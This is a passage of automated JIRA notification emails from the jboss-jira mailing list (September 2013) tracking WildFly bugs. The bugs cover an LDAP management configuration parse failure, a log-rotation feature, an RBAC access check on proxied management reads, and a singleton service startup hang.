>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:
> {code}
> 13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.UnsupportedOperationException
> 	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	... 3 more
> 13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> {code}
> To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):
> {code:xml}
> <outbound-connections>
>     <ldap name="ldap" url="ldap://localhost:10389"/>
> </outbound-connections>
> {code}
> Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 07:53:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 07:53:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992000.3588.1380110025814@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2155?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2155:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1011911

    
> Defining <outbound-connections> in <management> prevents the server to start
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-2155
>                 URL: https://issues.jboss.org/browse/WFLY-2155
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:
> {code}
> 13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.UnsupportedOperationException
> 	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	... 3 more
> 13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> {code}
> To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):
> {code:xml}
> <outbound-connections>
>     <ldap name="ldap" url="ldap://localhost:10389"/>
> </outbound-connections>
> {code}
> Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 09:58:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 09:58:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.17.1380117482658@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807313#comment-12807313 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665]

Verified on EAP 6.2.0.ER3.
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 10:00:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:00:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.24.1380117604029@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807315#comment-12807315 ] 

RH Bugzilla Integration commented on WFLY-2139:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> made a comment on [bug 1011994|https://bugzilla.redhat.com/show_bug.cgi?id=1011994]

Description of problem:

The fix for https://bugzilla.redhat.com/show_bug.cgi?id=1010672 introduce a per-management request leak in slave HostController processes when common requests (e.g. read-resource) are proxied to the slave from the master. I believe the same leak will occur on domain servers for requests proxied from the HostController.

Over time this will result in OOME situations due either to the memory resources used by the threads, or because user process count limites are reached. (For example, on Linux each thread counts as a process.)

Version-Release number of selected component (if applicable):

6.2.0.ER3

How reproducible:

Against the master host controller, execute a series of /host=<nameofslave>:read-resource operations. Monitor the thread count (e.g. using jconsole) on the slave HC process and watch it go up.


We have a fix for this already in the process of getting merged into WildFly master.
                
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 10:00:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:00:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.27.1380117604276@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2139:
------------------------------------------

    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1010672, https://bugzilla.redhat.com/show_bug.cgi?id=1011994  (was: https://bugzilla.redhat.com/show_bug.cgi?id=1010672)

    
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 10:00:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.20.1380117603637@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807314#comment-12807314 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665] from ON_QA to VERIFIED
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 10:18:02 2013
From: jira-events at lists.jboss.org (Paul Ferraro (JIRA))
Date: Wed, 25 Sep 2013 10:18:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1885) ServiceActivator blocks
 server startup if more than 8 services - platformspecific
In-Reply-To: <JIRA.12498645.1376549515000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498645.1376549515000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498645.1376549515000.214.1380118682813@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1885?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807341#comment-12807341 ] 

Paul Ferraro commented on WFLY-1885:
------------------------------------

I suspect this is merely a matter of changing the manner in which you build your SingletonService.  Use this test case as an example:
https://github.com/wildfly/wildfly/blob/master/testsuite/integration/clust/src/test/java/org/jboss/as/test/clustering/cluster/singleton/service/MyServiceActivator.java
                
> ServiceActivator blocks server startup if more than 8 services - platformspecific
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1885
>                 URL: https://issues.jboss.org/browse/WFLY-1885
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering, Server
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Thomas Fr?hbeck
>            Assignee: Paul Ferraro
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>         Attachments: stack.log.gz, wildfly-Beta1_blocked_server_on_8_HASingletons.txt.gz
>
>
> We try to start more than 8 services by ServiceActivator.
> We follow hasingleton quickstart.
> Server startup is blocked on Linux but not on windows (?!?).
> If we introduce a delay of e.g. 1 second, all services start correctly also on Linux:
> public void activate(ServiceActivatorContext context) {
>   ESMSSingletonServiceBase<T> service = getSingletonService();
>   log.info("ESMSService will be installed: " + service.getSingletonServiceName());
>   SingletonService<String> singleton = new SingletonService<String>(service.getSingletonServiceName(), service);
>   singleton.build(new DelegatingServiceContainer(context.getServiceTarget(), context.getServiceRegistry()))
>     .addDependency(ServerEnvironmentService.SERVICE_NAME, ServerEnvironment.class, service.env)
>     .setInitialMode(ServiceController.Mode.ACTIVE).install();
>   // TODO: diesen Workaround evtl mal beheben. 
>   // (Server startet im Moment nicht anders... zumindest nicht auf Linux! Timingproblem?)
>   try {
> 	Thread.sleep(1000);
>   } catch (InterruptedException e) {}
> Thread dump of Linux blocked server attached

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 25 10:24:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:24:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.225.1380119042617@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807346#comment-12807346 ] 

RH Bugzilla Integration commented on WFLY-2139:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> made a comment on [bug 1010672|https://bugzilla.redhat.com/show_bug.cgi?id=1010672]

A comment on the scope of this issue:

The specific console issue reported is a symptom of a somewhat larger problem that could affect other requests, which is why we pushed to fix it in ER3.

The general issue relates to certain operations that have the effect of internally executing multiple other operations and then aggregating their results. Examples:

/<anyaddresspath>/xyz=*:read-resource

/<anyaddresspath>:read-children-resources(child-type=xyz)

The latter in essence does the same thing as the former. Both determine a list of resources of type "xyz", execute :read-resource against each, and aggregate the results into an overall response.

One of the interesting challenges with RBAC is handling these requests, where for some resources of type=xyz a user may have permissions, while not having such permissions for others.

We had solved this problem for cases where all the operations execute on the same domain process (e.g. /profile=full/subsystem=*), but the call path that calls that involved multiple hosts (e.g. /host=*) traverse resulted in that solution being bypassed. This bug is about fixing this problem.

ER3 has a fix for it, but that fix has problems (see https://bugzilla.redhat.com/show_bug.cgi?id=1011994). We now have a simpler fix in place for WildFly.
                
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 10:26:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:26:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992000.231.1380119162776@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2155?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807347#comment-12807347 ] 

RH Bugzilla Integration commented on WFLY-2155:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1011911|https://bugzilla.redhat.com/show_bug.cgi?id=1011911] from ASSIGNED to POST
                
> Defining <outbound-connections> in <management> prevents the server to start
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-2155
>                 URL: https://issues.jboss.org/browse/WFLY-2155
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:
> {code}
> 13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.UnsupportedOperationException
> 	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	... 3 more
> 13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> {code}
> To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):
> {code:xml}
> <outbound-connections>
>     <ldap name="ldap" url="ldap://localhost:10389"/>
> </outbound-connections>
> {code}
> Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 10:28:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 10:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2155) Defining
 <outbound-connections> in <management> prevents the server to start
In-Reply-To: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501472.1380107992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501472.1380107992000.247.1380119283326@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2155?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807350#comment-12807350 ] 

RH Bugzilla Integration commented on WFLY-2155:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1011911|https://bugzilla.redhat.com/show_bug.cgi?id=1011911] from NEW to ASSIGNED
                
> Defining <outbound-connections> in <management> prevents the server to start
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-2155
>                 URL: https://issues.jboss.org/browse/WFLY-2155
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Ladislav Thon
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> If I want to authenticate against LDAP for management purposes, I have to define an LDAP outbound connection in the {{<management>}} section. But once I do this, the server fails to start with this error message:
> {code}
> 13:18:10,594 ERROR [org.jboss.as.server] (Controller Boot Thread) JBAS015956: Caught exception during boot: org.jboss.as.controller.persistence.ConfigurationPersistenceException: JBAS014676: Failed to parse configuration
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:112) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.ServerService.boot(ServerService.java:331) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:252) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: java.lang.UnsupportedOperationException
> 	at org.jboss.as.server.parsing.StandaloneXml$ManagementXmlDelegate.parseOutboundConnections(StandaloneXml.java:1314) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement_2_0(ManagementXml.java:354) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.parsing.ManagementXml.parseManagement(ManagementXml.java:282) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readServerElement_1_4(StandaloneXml.java:453) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:145) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.server.parsing.StandaloneXml.readElement(StandaloneXml.java:107) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.staxmapper.XMLMapperImpl.processNested(XMLMapperImpl.java:110) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.staxmapper.XMLMapperImpl.parseDocument(XMLMapperImpl.java:69) [staxmapper-1.1.0.Final.jar:1.1.0.Final]
> 	at org.jboss.as.controller.persistence.XmlConfigurationPersister.load(XmlConfigurationPersister.java:104) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	... 3 more
> 13:18:10,598 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> {code}
> To be precise: I take a freshly built WildFly server and add this into {{standalone.xml}} (into the {{<management>}} section):
> {code:xml}
> <outbound-connections>
>     <ldap name="ldap" url="ldap://localhost:10389"/>
> </outbound-connections>
> {code}
> Then I try to start the server (using plain old {{./bin/standalone.sh}}).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

